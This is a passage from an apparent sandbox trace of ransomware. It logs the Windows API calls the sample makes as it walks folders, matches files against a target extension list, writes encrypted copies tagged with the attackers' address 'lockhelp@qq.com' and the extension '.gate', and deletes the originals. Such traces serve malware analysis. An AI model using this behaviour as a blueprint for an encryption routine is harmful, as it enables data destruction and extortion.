[0321.791] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0321.791] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\tipresx.dll.mui") returned 72 [0321.791] lstrlenW (lpString=".jpg") returned 4 [0321.791] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0321.791] lstrcmpiW (lpString1=".exe", lpString2=".gate") returned -1 [0321.791] lstrlenW (lpString="ShapeCollector.exe") returned 18 [0321.791] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ShapeCollector.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\shapecollector.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0321.792] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=733696) returned 1 [0321.792] CloseHandle (hObject=0x358) returned 1 [0321.792] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ShapeCollector.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\shapecollector.exe")) returned 0x20 [0321.792] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ShapeCollector.exe.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\shapecollector.exe.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0321.792] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ShapeCollector.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\shapecollector.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0321.792] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ShapeCollector.exe") returned 69 [0321.792] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ShapeCollector.exe") returned 69 [0321.792] lstrlenW (lpString=".doc") returned 4 [0321.792] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0321.792] lstrlenW (lpString=".docx") returned 5 [0321.792] lstrcmpiW (lpString1=".docx", lpString2="r.exe") returned -1 [0321.792] lstrlenW (lpString=".pdf") returned 4 [0321.792] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0321.792] lstrlenW (lpString=".xls") returned 4 [0321.792] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0321.792] lstrlenW (lpString=".xlsx") returned 5 [0321.792] lstrcmpiW (lpString1=".xlsx", lpString2="r.exe") returned -1 [0321.792] lstrlenW (lpString=".ppt") returned 4 [0321.793] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0321.793] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ShapeCollector.exe") returned 69 [0321.793] lstrlenW (lpString=".zip") returned 4 [0321.793] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0321.793] lstrlenW (lpString=".rar") returned 4 [0321.793] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0321.793] lstrlenW (lpString=".bz2") returned 4 [0321.793] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0321.793] lstrlenW (lpString=".7z") returned 3 [0321.793] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0321.793] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ShapeCollector.exe") returned 69 [0321.793] lstrlenW (lpString=".dbf") returned 4 [0321.793] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0321.793] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ShapeCollector.exe") returned 69 [0321.793] lstrlenW (lpString=".1cd") returned 4 [0321.793] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0321.793] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ShapeCollector.exe") returned 69 [0321.793] lstrlenW (lpString=".jpg") returned 4 [0321.793] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0321.793] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ShapeCollector.exe") returned 69 [0321.793] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ShapeCollector.exe") returned 69 [0321.793] lstrlenW (lpString=".doc") returned 4 [0321.793] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0321.793] lstrlenW (lpString=".docx") returned 5 [0321.793] lstrcmpiW (lpString1=".docx", lpString2="r.exe") returned -1 [0321.793] lstrlenW (lpString=".pdf") returned 4 [0321.793] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0321.793] lstrlenW (lpString=".xls") returned 4 [0321.793] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0321.794] lstrlenW (lpString=".xlsx") returned 5 [0321.794] lstrcmpiW (lpString1=".xlsx", lpString2="r.exe") returned -1 [0321.794] lstrlenW (lpString=".ppt") returned 4 [0321.794] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0321.794] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ShapeCollector.exe") returned 69 [0321.794] lstrlenW (lpString=".zip") returned 4 [0321.794] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0321.794] lstrlenW (lpString=".rar") returned 4 [0321.794] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0321.794] lstrlenW (lpString=".bz2") returned 4 [0321.794] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0321.794] lstrlenW (lpString=".7z") returned 3 [0321.794] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0321.794] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ShapeCollector.exe") returned 69 [0321.794] lstrlenW (lpString=".dbf") returned 4 [0321.794] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0321.794] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ShapeCollector.exe") returned 69 [0321.794] lstrlenW (lpString=".1cd") returned 4 [0321.794] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0321.794] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ShapeCollector.exe") returned 69 [0321.794] lstrlenW (lpString=".jpg") returned 4 [0321.794] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0321.794] lstrcmpiW (lpString1=".mui", lpString2=".gate") returned 1 [0321.794] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0321.794] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sk-SK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sk-sk\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0321.795] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=10752) returned 1 [0321.795] CloseHandle (hObject=0x358) returned 1 [0321.795] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sk-SK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sk-sk\\tipresx.dll.mui")) returned 0x20 [0321.795] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sk-SK\\tipresx.dll.mui.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sk-sk\\tipresx.dll.mui.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0321.795] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sk-SK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sk-sk\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0321.795] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sk-SK\\tipresx.dll.mui") returned 72 [0321.795] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sk-SK\\tipresx.dll.mui") returned 72 [0321.795] lstrlenW (lpString=".doc") returned 4 [0321.795] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0321.795] lstrlenW (lpString=".docx") returned 5 [0321.795] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0321.795] lstrlenW (lpString=".pdf") returned 4 [0321.795] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0321.795] lstrlenW (lpString=".xls") returned 4 [0321.795] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0321.795] lstrlenW (lpString=".xlsx") returned 5 [0321.795] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0321.795] lstrlenW (lpString=".ppt") returned 4 [0321.795] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0321.796] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sk-SK\\tipresx.dll.mui") returned 72 [0321.796] lstrlenW (lpString=".zip") returned 4 [0321.796] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0321.796] lstrlenW (lpString=".rar") returned 4 [0321.796] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0321.796] lstrlenW (lpString=".bz2") returned 4 [0321.796] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0321.796] lstrlenW (lpString=".7z") returned 3 [0321.796] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0321.796] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sk-SK\\tipresx.dll.mui") returned 72 [0321.796] lstrlenW (lpString=".dbf") returned 4 [0321.796] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0321.797] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0 [0321.798] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0321.798] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0321.798] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\liclua.exe.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0321.799] GetLastError () returned 0x0 [0321.799] ReadFile (in: hFile=0x358, lpBuffer=0x4286020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x4286020*, lpNumberOfBytesRead=0x38cfecc*=0x58cd0, lpOverlapped=0x0) returned 1 [0321.990] WriteFile (in: hFile=0x388, lpBuffer=0x4286020*, nNumberOfBytesToWrite=0x58ce0, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x4286020*, lpNumberOfBytesWritten=0x38cfc94*=0x58ce0, lpOverlapped=0x0) returned 1 [0321.995] ReadFile (in: hFile=0x358, lpBuffer=0x4286020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x4286020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1 [0321.995] WriteFile (in: hFile=0x388, lpBuffer=0x4286020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x4286020*, lpNumberOfBytesWritten=0x38cfc94*=0xe8, lpOverlapped=0x0) returned 1 [0321.995] SetEndOfFile (hFile=0x388) returned 1 [0321.995] CloseHandle (hObject=0x388) returned 1 [0321.996] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0321.996] SetEndOfFile (hFile=0x358) returned 1 [0321.998] CloseHandle (hObject=0x358) returned 1 [0321.999] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0321.999] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\liclua.exe")) returned 1 [0321.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE") returned 66 [0321.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE") returned 66 [0321.999] lstrlenW (lpString=".doc") returned 4 [0321.999] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0321.999] lstrlenW (lpString=".docx") returned 5 [0321.999] lstrcmpiW (lpString1=".docx", lpString2="A.EXE") returned -1 [0321.999] lstrlenW (lpString=".pdf") returned 4 [0321.999] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0321.999] lstrlenW (lpString=".xls") returned 4 [0321.999] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0322.000] lstrlenW (lpString=".xlsx") returned 5 [0322.000] lstrcmpiW (lpString1=".xlsx", lpString2="A.EXE") returned -1 [0322.000] lstrlenW (lpString=".ppt") returned 4 [0322.000] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0322.000] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE") returned 66 [0322.000] lstrlenW (lpString=".zip") returned 4 [0322.000] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0322.000] lstrlenW (lpString=".rar") returned 4 [0322.000] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0322.000] lstrlenW (lpString=".bz2") returned 4 [0322.000] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0322.000] lstrlenW (lpString=".7z") returned 3 [0322.000] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0322.000] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE") returned 66 [0322.000] lstrlenW (lpString=".dbf") returned 4 [0322.000] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0322.000] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE") returned 66 [0322.000] lstrlenW (lpString=".1cd") returned 4 [0322.000] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0322.000] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE") returned 66 [0322.000] lstrlenW (lpString=".jpg") returned 4 [0322.000] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0322.000] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE") returned 66 [0322.000] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE") returned 66 [0322.000] lstrlenW (lpString=".doc") returned 4 [0322.000] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0322.000] lstrlenW (lpString=".docx") returned 5 [0322.000] lstrcmpiW (lpString1=".docx", lpString2="A.EXE") returned -1 [0322.000] lstrlenW (lpString=".pdf") returned 4 [0322.000] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0322.000] lstrlenW (lpString=".xls") returned 4 [0322.000] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0322.000] lstrlenW (lpString=".xlsx") returned 5 [0322.000] lstrcmpiW (lpString1=".xlsx", lpString2="A.EXE") returned -1 [0322.001] lstrlenW (lpString=".ppt") returned 4 [0322.001] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0322.001] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE") returned 66 [0322.001] lstrlenW (lpString=".zip") returned 4 [0322.001] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0322.001] lstrlenW (lpString=".rar") returned 4 [0322.001] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0322.001] lstrlenW (lpString=".bz2") returned 4 [0322.001] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0322.001] lstrlenW (lpString=".7z") returned 3 [0322.001] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0322.001] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE") returned 66 [0322.001] lstrlenW (lpString=".dbf") returned 4 [0322.001] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0322.001] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE") returned 66 [0322.001] lstrlenW (lpString=".1cd") returned 4 [0322.001] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0322.001] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE") returned 66 [0322.001] lstrlenW (lpString=".jpg") returned 4 [0322.001] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0322.001] lstrcmpiW (lpString1=".dll", lpString2=".gate") returned -1 [0322.001] lstrlenW (lpString="pidgenx.dll") returned 11 [0322.001] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pidgenx.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0322.002] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=1475160) returned 1 [0322.002] CloseHandle (hObject=0x358) returned 1 [0322.002] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pidgenx.dll")) returned 0x20 [0322.002] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pidgenx.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0322.002] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pidgenx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0322.003] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0322.003] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0322.003] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pidgenx.dll.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0322.003] GetLastError () returned 0x0 [0322.003] ReadFile (hFile=0x358, lpBuffer=0x4286020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0) Thread: id = 106 os_tid = 0xd6c [0318.097] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xfffe) returned 0x3e10780 [0318.097] lstrlenW (lpString="C:") returned 2 [0318.097] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x3a0fcf8 | out: lpFindFileData=0x3a0fcf8) returned 0x4a5a18 [0318.097] lstrlenW (lpString="C:\\$GetCurrent") returned 14 [0318.097] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent") returned 1 [0318.097] lstrlenW (lpString="$GetCurrent") returned 11 [0318.097] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="$GetCurrent") returned 1 [0318.097] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xfffe) returned 0x4390048 [0318.098] lstrlenW (lpString="C:\\$GetCurrent") returned 14 [0318.098] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\*", lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 0x4a5318 [0318.098] FindNextFileW (in: hFindFile=0x4a5318, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0318.098] FindNextFileW (in: hFindFile=0x4a5318, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0318.098] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19 [0318.098] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent\\Logs") returned 1 [0318.098] lstrlenW (lpString="Logs") returned 4 [0318.098] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="Logs") returned -1 [0318.098] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xfffe) returned 0x43a0050 [0318.099] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19 [0318.099] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\Logs\\*", lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 0x43b0588 [0318.099] FindNextFileW (in: hFindFile=0x43b0588, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0318.099] FindNextFileW (in: hFindFile=0x43b0588, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0318.100] lstrlenW (lpString="downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[lockhelp@qq.com].gate") returned 72 [0318.100] lstrlenW (lpString=".1cd") returned 4 [0318.100] lstrcmpiW (lpString1=".1cd", lpString2="gate") returned -1 [0318.100] lstrlenW (lpString=".3ds") returned 4 [0318.100] lstrcmpiW (lpString1=".3ds", lpString2="gate") returned -1 [0318.100] lstrlenW (lpString=".3fr") returned 4 [0318.100] lstrcmpiW (lpString1=".3fr", lpString2="gate") returned -1 [0318.100] lstrlenW (lpString=".3g2") returned 4 [0318.100] lstrcmpiW (lpString1=".3g2", lpString2="gate") returned -1 [0318.100] lstrlenW (lpString=".3gp") returned 4 [0318.100] lstrcmpiW (lpString1=".3gp", lpString2="gate") returned -1 [0318.100] lstrlenW (lpString=".7z") returned 3 [0318.100] lstrcmpiW (lpString1=".7z", lpString2="ate") returned -1 [0318.100] lstrlenW (lpString=".accda") returned 6 [0318.100] lstrcmpiW (lpString1=".accda", lpString2="].gate") returned -1 [0318.100] lstrlenW (lpString=".accdb") returned 6 [0318.100] lstrcmpiW (lpString1=".accdb", lpString2="].gate") returned -1 [0318.100] lstrlenW (lpString=".accdc") returned 6 [0318.100] lstrcmpiW (lpString1=".accdc", lpString2="].gate") returned -1 [0318.100] lstrlenW (lpString=".accde") returned 6 [0318.100] lstrcmpiW (lpString1=".accde", lpString2="].gate") returned -1 [0318.100] lstrlenW (lpString=".accdt") returned 6 [0318.100] lstrcmpiW (lpString1=".accdt", lpString2="].gate") returned -1 [0318.100] lstrlenW (lpString=".accdw") returned 6 [0318.100] lstrcmpiW (lpString1=".accdw", lpString2="].gate") returned -1 [0318.100] lstrlenW (lpString=".adb") returned 4 [0318.100] lstrcmpiW (lpString1=".adb", lpString2="gate") returned -1 [0318.100] lstrlenW (lpString=".adp") returned 4 [0318.100] lstrcmpiW (lpString1=".adp", lpString2="gate") returned -1 [0318.100] lstrlenW (lpString=".ai") returned 3 [0318.100] lstrcmpiW (lpString1=".ai", lpString2="ate") returned -1 [0318.100] lstrlenW (lpString=".ai3") returned 4 [0318.100] lstrcmpiW (lpString1=".ai3", lpString2="gate") returned -1 [0318.100] lstrlenW (lpString=".ai4") returned 4 [0318.101] lstrcmpiW (lpString1=".ai4", lpString2="gate") returned -1 [0318.101] lstrlenW (lpString=".ai5") returned 4 [0318.101] lstrcmpiW (lpString1=".ai5", lpString2="gate") returned -1 [0318.101] lstrlenW (lpString=".ai6") returned 4 [0318.101] lstrcmpiW (lpString1=".ai6", lpString2="gate") returned -1 [0318.101] lstrlenW (lpString=".ai7") returned 4 [0318.101] lstrcmpiW (lpString1=".ai7", lpString2="gate") returned -1 [0318.101] lstrlenW (lpString=".ai8") returned 4 [0318.101] lstrcmpiW (lpString1=".ai8", lpString2="gate") returned -1 [0318.101] lstrlenW (lpString=".anim") returned 5 [0318.101] lstrcmpiW (lpString1=".anim", lpString2=".gate") returned -1 [0318.101] lstrlenW (lpString=".arw") returned 4 [0318.101] lstrcmpiW (lpString1=".arw", lpString2="gate") returned -1 [0318.101] lstrlenW (lpString=".as") returned 3 [0318.101] lstrcmpiW (lpString1=".as", lpString2="ate") returned -1 [0318.101] lstrlenW (lpString=".asa") returned 4 [0318.101] lstrcmpiW (lpString1=".asa", lpString2="gate") returned -1 [0318.101] lstrlenW (lpString=".asc") returned 4 [0318.101] lstrcmpiW (lpString1=".asc", lpString2="gate") returned -1 [0318.101] lstrlenW (lpString=".ascx") returned 5 [0318.101] lstrcmpiW (lpString1=".ascx", lpString2=".gate") returned -1 [0318.101] lstrlenW (lpString=".asm") returned 4 [0318.101] lstrcmpiW (lpString1=".asm", lpString2="gate") returned -1 [0318.101] lstrlenW (lpString=".asmx") returned 5 [0318.101] lstrcmpiW (lpString1=".asmx", lpString2=".gate") returned -1 [0318.101] lstrlenW (lpString=".asp") returned 4 [0318.101] lstrcmpiW (lpString1=".asp", lpString2="gate") returned -1 [0318.101] lstrlenW (lpString=".aspx") returned 5 [0318.101] lstrcmpiW (lpString1=".aspx", lpString2=".gate") returned -1 [0318.101] lstrlenW (lpString=".asr") returned 4 [0318.101] lstrcmpiW (lpString1=".asr", lpString2="gate") returned -1 [0318.101] lstrlenW (lpString=".asx") returned 4 [0318.101] lstrcmpiW (lpString1=".asx", lpString2="gate") returned -1 [0318.101] lstrlenW (lpString=".avi") returned 4 [0318.101] lstrcmpiW (lpString1=".avi", lpString2="gate") returned -1 [0318.102] lstrlenW (lpString=".avs") returned 4 [0318.102] lstrcmpiW (lpString1=".avs", lpString2="gate") returned -1 [0318.102] lstrlenW (lpString=".backup") returned 7 [0318.102] lstrcmpiW (lpString1=".backup", lpString2="m].gate") returned -1 [0318.102] lstrlenW (lpString=".bak") returned 4 [0318.102] lstrcmpiW (lpString1=".bak", lpString2="gate") returned -1 [0318.102] lstrlenW (lpString=".bay") returned 4 [0318.102] lstrcmpiW (lpString1=".bay", lpString2="gate") returned -1 [0318.102] lstrlenW (lpString=".bd") returned 3 [0318.102] lstrcmpiW (lpString1=".bd", lpString2="ate") returned -1 [0318.102] lstrlenW (lpString=".bin") returned 4 [0318.102] lstrcmpiW (lpString1=".bin", lpString2="gate") returned -1 [0318.102] lstrlenW (lpString=".bmp") returned 4 [0318.102] lstrcmpiW (lpString1=".bmp", lpString2="gate") returned -1 [0318.102] lstrlenW (lpString=".bz2") returned 4 [0318.102] lstrcmpiW (lpString1=".bz2", lpString2="gate") returned -1 [0318.102] lstrlenW (lpString=".c") returned 2 [0318.102] lstrcmpiW (lpString1=".c", lpString2="te") returned -1 [0318.102] lstrlenW (lpString=".cdr") returned 4 [0318.102] lstrcmpiW (lpString1=".cdr", lpString2="gate") returned -1 [0318.102] lstrlenW (lpString=".cer") returned 4 [0318.102] lstrcmpiW (lpString1=".cer", lpString2="gate") returned -1 [0318.102] lstrlenW (lpString=".cf") returned 3 